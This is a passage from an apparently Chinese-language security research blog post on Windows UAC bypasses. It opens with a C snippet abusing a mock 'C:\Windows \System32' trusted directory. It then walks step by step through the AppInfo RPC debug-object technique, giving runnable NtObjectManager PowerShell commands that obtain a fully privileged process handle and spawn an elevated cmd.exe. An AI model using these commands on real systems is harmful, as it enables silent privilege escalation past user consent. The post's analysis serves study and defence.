//Execute our winSAT.exe copy from fake trusted directory se.cbSize = sizeof(_SHELLEXECUTEINFOW); se.lpFile = L"C:\\Windows \\System32\\winSAT.exe"; se.lpParameters = L"formal"; se.nShow = SW_HIDE; se.hwnd = NULL; se.lpDirectory = NULL; ShellExecuteEx(&se);
return 0;}
另外,前面分析過 RAiLaunchAdminProcess 函數在驗證要啟動的程序是否位于可信路徑時會使用 String2 與一些路徑進行比對。以下為 String2 的賦值流程,"C:\Windows \System32\winSAT.exe" 經過 GetLongPathNameW 函數處理之后得到 "C:\Windows\System32\winSAT.exe",經過這個函數調用,"Windows " 中的空格被處理掉了,然后再調用 RtlDosPathNameToRelativeNtPathName_U_WithStatus 函數將字符串保存為以 "\??\" 開頭的 UNICODE_STRING 類型的 String2。
這樣在后面比對的時候就可以匹配上 "C:\Windows\System32",從而校驗通過,然后就調用 RtlFreeUnicodeString 函數把它釋放了。

后面在調用 AiIsEXESafeToAutoApprove 函數時,傳入的參數還是 "C:\Windows \System32\winSAT.exe"

三、通過 APPINFO RPC服務 Bypass UAC
參考:https://googleprojectzero.blogspot.com/2019/12/calling-local-windows-rpc-servers-from.html
目標服務:AppInfo
相關函數:RAiLaunchAdminProcess
前置識:如果可以在提升的 UAC 進程上啟用調試并獲得其調試對象的句柄,我們可以請求第一個調試事件,該事件將返回對該進程的完全訪問句柄:https://googleprojectzero.blogspot.com/2019/04/windows-exploitation-tricks-abusing.html
利用思路:對于提升的進程,我們無法直接獲得其調試對象句柄。但由于調試對象的句柄存儲在 TEB 的保留字段中,同一個線程上創建的帶有調試標志的所有進程共享同一個調試對象,可通過先創建 DEBUG_PROCESS 標志的非提升的進程,獲得初始化的調試對象句柄,然后創建 DEBUG_PROCESS 標志的提升的進程,進而使用共用的調試對象句柄獲得提升的進程的完全訪問句柄。

先按照文章上的步驟復現一下:
安裝 NtObjectManager 模塊,這里指定 1.1.24 版本(最新版本測試有點問題)。
Install-Module -Name NtObjectManager -RequiredVersion 1.1.24 -Scope CurrentUser
解析 APPINFO.DLL 并篩選接口 ID 為 201ef99a-7fa0-444c-9399-19ba84f12a1a 的 RPC 服務器。
$rpc = Get-RpcServer "c:\windows\system32\appinfo.dll" | Select-RpcServer -InterfaceId "201ef99a-7fa0-444c-9399-19ba84f12a1a"
使用以下 xml 文件保存 RPC 服務器接口中需要重命名的函數、參數、結構及其字段的名字( Get-RpcServerName \$rpc 命令可查看服務器原始 xml 文件):
//names.xml xmlns="http://schemas.datacontract.org/2004/07/NtObjectManager"> 201ef99a-7fa0-444c-9399-19ba84f12a1a 1 0 0 RAiLaunchAdminProcess 10 ProcessInformation 0 APP_STARTUP_INFO 2 0 ProcessHandle APP_PROCESS_INFORMATION
使用上一步的 xml 文件重命名 RPC 服務器接口的某些特定部分,以便后續使用。
Get-Content "names.xml" | Set-RpcServerName $rpc
創建基于 RPC 服務器的客戶端對象,并將客戶端連接到本地 RPC 服務器的 ALPC 端口。
$client = Get-RpcClient $rpcConnect-RpcClient $client
定義 Start-Uac 函數,該函數調用通過 RAiLaunchAdminProcess 接口返回一個 NtProcess 對象,該對象可用于訪問已創建進程的屬性,包括調試對象。默認傳遞 DEBUG_PROCESS 標志來創建進程,并使用 RunAsAdmin 參數來選擇是否提升進程權限。
function Start-Uac { Param( [Parameter(Mandatory, Position = 0)] [string]$Executable, [switch]$RunAsAdmin )
$CreateFlags = [NtApiDotNet.Win32.CreateProcessFlags]::DebugProcess -bor ` [NtApiDotNet.Win32.CreateProcessFlags]::UnicodeEnvironment $StartInfo = $client.New.APP_STARTUP_INFO()
$result = $client.RAiLaunchAdminProcess($Executable, $Executable,` [int]$RunAsAdmin.IsPresent, [int]$CreateFlags,` "C:\", "WinSta0\Default", $StartInfo, 0, -1) if ($result.retval -ne 0) { $ex = [System.ComponentModel.Win32Exception]::new($result.retval) throw $ex }
$h = $result.ProcessInformation.ProcessHandle.Value Get-NtObjectFromHandle $h -OwnsHandle}
調用 Start-Uac 函數創建非提升的進程(notepad.exe),獲得調試對象的句柄,終止進程并分離調試器。
$p = Start-Uac "c:\windows\system32otepad.exe"$dbg = Get-NtDebug -Process $pStop-NtProcess $pRemove-NtDebugProcess $dbg -Process $p
再次調用 Start-Uac 函數創建提升的進程(taskmgr.exe),對調試對象句柄發出等待以獲取初始調試事件句柄,然后使用 Copy-NtObject 從提升的進程復制當前進程偽句柄 (-1) 來獲得完全的特權進程句柄。
$p = Start-Uac "c:\windows\system32\taskmgr.exe" -RunAsAdmin$ev = Start-NtDebugWait -Seconds 0 -DebugObject $dbg$h = [IntPtr]-1$new_p = Copy-NtObject -SourceProcess $ev.Process -SourceHandle $hRemove-NtDebugProcess $dbg -Process $new_p
擁有了完全的特權進程句柄后就可以創建特權的子進程了。
New-Win32Process "cmd.exe" -ParentProcess $new_p -CreationFlags NewConsole
如下:

在這個過程中遇到過模塊無法加載的問題,解決:(以管理員身份打開PowerShell 輸入 set-executionpolicy remotesigned,就當是先測試下吧,實際情況下還是會用 C 或 C# 程序)。參考:https://www.jianshu.com/p/4eaad2163567

簡單分析
首先回顧一下 RAiLaunchAdminProcess 函數,該函數原型如下:
long RAiLaunchAdminProcess( handle_t hBinding, [in][unique][string] wchar_t* ExecutablePath, [in][unique][string] wchar_t* CommandLine, [in] long StartFlags, [in] long CreateFlags, [in][string] wchar_t* CurrentDirectory, [in][string] wchar_t* WindowStation, [in] struct APP_STARTUP_INFO* StartupInfo, [in] unsigned __int3264 hWnd, [in] long Timeout, [out] struct APP_PROCESS_INFORMATION* ProcessInformation, [out] long *ElevationType);
經過分析可以知道,該函數通過 AiCheckLUA -> AiLaunchConsentUI -> AiLaunchProcess -> CreateProcessAsUserW 函數調用鏈來啟動 consent.exe 進程來判斷是否需要彈窗,然后通過 AiLaunchProcess -> CreateProcessAsUserW 函數調用鏈啟動目標程序。
以下為 AiLaunchProcess 函數調用 CreateProcessAsUserW 函數的過程,其中 a7 來自 AiLaunchProcess 函數的第 7 個參數:

經過回溯發現該參數來自于 RAiLaunchAdminProcess 函數的第 6 個參數 a6,由于 RAiLaunchAdminProcess 函數采用異步處理,其第一個參數對應了 PRPC_ASYNC_STATE 類型的 pAsync,因而 a6 對應的參數是 CreateFlags。

在調用 CreateProcessAsUserW 函數的時候會傳入CreateFlags | 0x80004,CreateFlags 對應的 flag 列表可參考:https://docs.microsoft.com/en-us/windows/win32/procthread/process-creation-flags,其中,設置 DEBUG_PROCESS 標志允許啟動并調試新進程。
DEBUG_PROCESS(0x00000001):調用線程啟動并調試新進程和新進程創建的所有子進程,可以使用 WaitForDebugEvent 函數接收所有相關的調試事件CREATE_SUSPENDED(0x00000004):新進程的主線程以掛起狀態創建,直到調用 ResumeThread函數才運行CREATE_UNICODE_ENVIRONMENT(0x00000400):lpEnvironment 指向的環境塊使用 Unicode 字符EXTENDED_STARTUPINFO_PRESENT(0x00080000):該進程需要使用擴展啟動信息創建,通過 lpStartupInfo 參數指定 STARTUPINFOEX 結構
訪問進程的調試對象句柄需要對進程句柄具有 PROCESS_QUERY_INFORMATION 訪問權限,但如果是提升的進程,我們只能獲得對該進程句柄的 PROCESS_QUERY_LIMITED_INFORMATION 訪問權限。這種限制使我們不能簡單地獲取提升進程的調試對象句柄。
不過由于設置了 DEBUG_PROCESS 標志,在調用CreateProcessAsUserW 函數過程中會調用 ntdll!DbgUiConnectToDbg 函數,該函數從 TEB 中獲取調試對象,如下所示:

DbgUiConnectToDbg 函數首先會判斷 TEB 偏移 0x16A8 處是不是 0(+0x16a0 DbgSsReserved : [2] (null)),如果是的話,就調用 NtCreateDebugObject 函數來創建一個調試對象,相當于初始化當前線程的調試對象。如果這個線程再調試一個進程,就可以直接從 TEB 偏移 0x16A8 處獲得。

如果我們先創建一個普通進程并啟用調試,在獲得其調試句柄后分離調試器并終止進程,然后再創建一個調試的提升的進程,這樣我們就有了獲得提升進程的調試對象句柄的這個前提。
然后就可以調用 WaitForDebugEvent 函數等待目標調試事件從而獲得提升的進程句柄(NtWaitForDebugEvent 函數調用 DbgkpOpenHandles 處理 CREATE_PROCESS_DEBUG_EVENT 類型事件時,會初始化 CREATE_PROCESS_DEBUG_INFO 結構中的進程句柄),雖然獲得了這個句柄,但我們缺少 PROCESS_SUSPEND_RESUME 權限,這會阻止我們將進程與調試對象分離。
但由于我們具有 PROCESS_DUP_HANDLE 權限,因而可以調用 NtDuplicateObject 函數復制句柄從而獲得完全提升的權限:

驗證某個結論往往是簡單的,能自己尋找到那個點是困難且有意義的。
參考鏈接:
https://blog.csdn.net/WPwalter/article/details/89838881
https://blog.walterlv.com/post/windows-user-account-control.html
https://blog.walterlv.com/post/requested-execution-level-of-application-manifest
https://medium.themayor.tech/utilizing-a-common-windows-binary-to-escalate-to-system-privileges-c16482cced4b
https://idiotc4t.com/privilege-escalation/bypassuac-fodhelper
https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e
https://googleprojectzero.blogspot.com/2019/12/calling-local-windows-rpc-servers-from.html
https://googleprojectzero.blogspot.com/2019/04/windows-exploitation-tricks-abusing.html
http://blog.nsfocus.net/appinfo-rpc-uac-bypass/??